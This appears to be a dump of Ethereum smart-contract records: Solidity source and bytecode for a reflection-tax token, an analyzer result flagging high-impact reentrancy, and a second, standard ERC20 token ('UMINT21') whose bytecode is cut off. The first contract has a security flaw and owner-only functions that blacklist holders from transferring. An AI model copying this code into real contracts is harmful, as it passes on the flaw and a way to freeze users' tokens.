IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 25_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 25_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610312578063c3c8cd8014610332578063c9567bf914610347578063dbe8272c1461035c578063dc1052e21461037c578063dd62ed3e1461039c57600080fd5b8063715018a6146102a05780638da5cb5b146102b557806395d89b411461015c5780639e78fb4f146102dd578063a9059cbb146102f257600080fd5b806323b872dd116100f257806323b872dd1461020f578063273123b71461022f578063313ce5671461024f5780636fc3eaec1461026b57806370a082311461028057600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019a57806318160ddd146101ca5780631bbae6e0146101ef57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a61015536600461183f565b6103e2565b005b34801561016857600080fd5b506040805180820182526006815265283aba3632b960d11b6020820152905161019191906118bc565b60405180910390f35b3480156101a657600080fd5b506101ba6101b536600461174d565b610433565b6040519015158152602001610191565b3480156101d657600080fd5b50670de0b6b3a76400005b604051908152602001610191565b3480156101fb57600080fd5b5061015a61020a366004611877565b61044a565b34801561021b57600080fd5b506101ba61022a36600461170d565b61048c565b34801561023b57600080fd5b5061015a61024a36600461169d565b6104f5565b34801561025b57600080fd5b5060405160098152602001610191565b34801561027757600080fd5b5061015a610540565b34801561028c57600080fd5b506101e161029b36600461169d565b610574565b3480156102ac57600080fd5b5061015a610596565b3480156102c157600080fd5b506000546040516001600160a01b039091168152602001610191565b3480156102e957600080fd5b5061015a61060a565b3480156102fe57600080fd5b506101ba61030d36600461174d565b610849565b34801561031e57600080fd5b5061015a61032d366004611778565b610856565b34801561033e57600080fd5b5061015a6108fa565b34801561035357600080fd5b5061015a61093a565b34801561036857600080fd5b5061015a610377366004611877565b610b00565b34801561038857600080fd5b5061015a610397366004611877565b610b38565b3480156103a857600080fd5b506101e16103b73660046116d5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104155760405162461bcd60e51b815260040161040c9061190f565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610440338484610b70565b5060015b92915050565b6000546001600160a01b031633146104745760405162461bcd60e51b815260040161040c9061190f565b6658d15e176280008111156104895760108190555b50565b6000610499848484610c94565b6104eb84336104e685604051806060016040528060288152602001611a8d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8b565b610b70565b5060019392505050565b6000546001600160a01b0316331461051f5760405162461bcd60e51b815260040161040c9061190f565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056a5760405162461bcd60e51b815260040161040c9061190f565b4761048981610fc5565b6001600160a01b03811660009081526002602052604081205461044490610fff565b6000546001600160a01b031633146105c05760405162461bcd60e51b815260040161040c9061190f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161040c9061190f565b600f54600160a01b900460ff161561068e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040c565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106ee57600080fd5b505afa158015610702573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072691906116b9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561076e57600080fd5b505afa158015610782573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a691906116b9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ee57600080fd5b505af1158015610802573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082691906116b9565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610440338484610c94565b6000546001600160a01b031633146108805760405162461bcd60e51b815260040161040c9061190f565b60005b81518110156108f6576001600660008484815181106108b257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ee81611a22565b915050610883565b5050565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161040c9061190f565b600061092f30610574565b905061048981611083565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161040c9061190f565b600e546109849030906001600160a01b0316670de0b6b3a7640000610b70565b600e546001600160a01b031663f305d71947306109a081610574565b6000806109b56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1857600080fd5b505af1158015610a2c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a51919061188f565b5050600f80546658d15e1762800060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ac857600080fd5b505af1158015610adc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610489919061185b565b6000546001600160a01b03163314610b2a5760405162461bcd60e51b815260040161040c9061190f565b600f81101561048957600b55565b6000546001600160a01b03163314610b625760405162461bcd60e51b815260040161040c9061190f565b600f81101561048957600c55565b6001600160a01b038316610bd25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040c565b6001600160a01b038216610c335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040c565b6001600160a01b038216610d5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040c565b60008111610dbc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040c565b6001600160a01b03831660009081526006602052604090205460ff1615610de257600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2457506001600160a01b03821660009081526005602052604090205460ff16155b15610f7b576000600955600c54600a55600f546001600160a01b038481169116148015610e5f5750600e546001600160a01b03838116911614155b8015610e8457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e995750600f54600160b81b900460ff165b15610ead57601054811115610ead57600080fd5b600f546001600160a01b038381169116148015610ed85750600e546001600160a01b03848116911614155b8015610efd57506001600160a01b03831660009081526005602052604090205460ff16155b15610f0e576000600955600b54600a555b6000610f1930610574565b600f54909150600160a81b900460ff16158015610f445750600f546001600160a01b03858116911614155b8015610f595750600f54600160b01b900460ff165b15610f7957610f6781611083565b478015610f7757610f7747610fc5565b505b505b610f86838383611228565b505050565b60008184841115610faf5760405162461bcd60e51b815260040161040c91906118bc565b506000610fbc8486611a0b565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f6573d6000803e3d6000fd5b60006007548211156110665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040c565b6000611070611233565b905061107c8382611256565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112d57600080fd5b505afa158015611141573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116591906116b9565b8160018151811061118657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111ac9130911684610b70565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e5908590600090869030904290600401611944565b600060405180830381600087803b1580156111ff57600080fd5b505af1158015611213573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f86838383611298565b600080600061124061138f565b909250905061124f8282611256565b9250505090565b600061107c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113cf565b6000806000806000806112aa876113fd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112dc908761145a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130b908661149c565b6001600160a01b03891660009081526002602052604090205561132d816114fb565b6113378483611545565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137c91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113aa8282611256565b8210156113c657505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113f05760405162461bcd60e51b815260040161040c91906118bc565b506000610fbc84866119cc565b600080600080600080600080600061141a8a600954600a54611569565b925092509250600061142a611233565b9050600080600061143d8e8787876115be565b919e509c509a509598509396509194505050505091939550919395565b600061107c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8b565b6000806114a983856119b4565b90508381101561107c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040c565b6000611505611233565b90506000611513838361160e565b30600090815260026020526040902054909150611530908261149c565b30600090815260026020526040902055505050565b600754611552908361145a565b600755600854611562908261149c565b6008555050565b6000808080611583606461157d898961160e565b90611256565b90506000611596606461157d8a8961160e565b905060006115ae826115a88b8661145a565b9061145a565b9992985090965090945050505050565b60008080806115cd888661160e565b905060006115db888761160e565b905060006115e9888861160e565b905060006115fb826115a8868661145a565b939b939a50919850919650505050505050565b60008261161d57506000610444565b600061162983856119ec565b90508261163685836119cc565b1461107c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040c565b803561169881611a69565b919050565b6000602082840312156116ae578081fd5b813561107c81611a69565b6000602082840312156116ca578081fd5b815161107c81611a69565b600080604083850312156116e7578081fd5b82356116f281611a69565b9150602083013561170281611a69565b809150509250929050565b600080600060608486031215611721578081fd5b833561172c81611a69565b9250602084013561173c81611a69565b929592945050506040919091013590565b6000806040838503121561175f578182fd5b823561176a81611a69565b946020939093013593505050565b6000602080838503121561178a578182fd5b823567ffffffffffffffff808211156117a1578384fd5b818501915085601f8301126117b4578384fd5b8135818111156117c6576117c6611a53565b8060051b604051601f19603f830116810181811085821117156117eb576117eb611a53565b604052828152858101935084860182860187018a1015611809578788fd5b8795505b838610156118325761181e8161168d565b85526001959095019493860193860161180d565b5098975050505050505050565b600060208284031215611850578081fd5b813561107c81611a7e565b60006020828403121561186c578081fd5b815161107c81611a7e565b600060208284031215611888578081fd5b5035919050565b6000806000606084860312156118a3578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118e8578581018301518582016040015282016118cc565b818111156118f95783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119935784516001600160a01b03168352938301939183019160010161196e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119c7576119c7611a3d565b500190565b6000826119e757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0657611a06611a3d565b500290565b600082821015611a1d57611a1d611a3d565b500390565b6000600019821415611a3657611a36611a3d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048957600080fd5b801515811461048957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d05b24db5a192f140d6efddba61c3bf330909c95e60e079b6ab43b181826df0a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,395
0x3cfa2566055649f24c930904fa13e4d2f62244d4
pragma solidity ^0.4.21; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Umint21 is StandardToken { string public constant name = "UMINT21"; // solium-disable-line uppercase string public constant symbol = "UM21"; // solium-disable-line uppercase uint8 public constant decimals = 3; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function Umint21() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } } //Code derived from OpenZeppelin / Zeppelin-Solidity library /**The MIT License (MIT) * *Copyright (c) 2016 Smart Contract Solutions, Inc. * *Permission is hereby granted, free of charge, to any person obtaining *a copy of this software and associated documentation files (the *"Software"), to deal in the Software without restriction, including *without limitation the rights to use, copy, modify, merge, publish, *distribute, sublicense, and/or sell copies of the Software, and to *permit persons to whom the Software is furnished to do so, subject to *the following conditions: * *The above copyright notice and this permission notice shall be included *in all copies or substantial portions of the Software. * *THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS *OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF *MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. *IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY *CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, *TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE *SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //Code customized, compiled, and deployed by uMINT.io
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d05780632ff2e9dc14610249578063313ce5671461027257806366188463146102a157806370a08231146102fb57806395d89b4114610348578063a9059cbb146103d6578063d73dd62314610430578063dd62ed3e1461048a575b600080fd5b34156100ca57600080fd5b6100d26104f6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061052f565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba610621565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061062b565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c6109e5565b6040518082815260200191505060405180910390f35b341561027d57600080fd5b6102856109f6565b604051808260ff1660ff16815260200191505060405180910390f35b34156102ac57600080fd5b6102e1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109fb565b604051808215151515815260200191505060405180910390f35b341561030657600080fd5b610332600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c8c565b6040518082815260200191505060405180910390f35b341561035357600080fd5b61035b610cd4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103e157600080fd5b610416600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d0d565b604051808215151515815260200191505060405180910390f35b341561043b57600080fd5b610470600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f2c565b604051808215151515815260200191505060405180910390f35b341561049557600080fd5b6104e0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611128565b6040518082815260200191505060405180910390f35b6040805190810160405280600781526020017f554d494e5432310000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561066857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106b557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561074057600080fd5b610791826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610824826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360ff16600a0a6305f5e1000281565b600381565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b0c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ba0565b610b1f83826111af90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f554d32310000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d4a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9757600080fd5b610de8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000610fbd82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190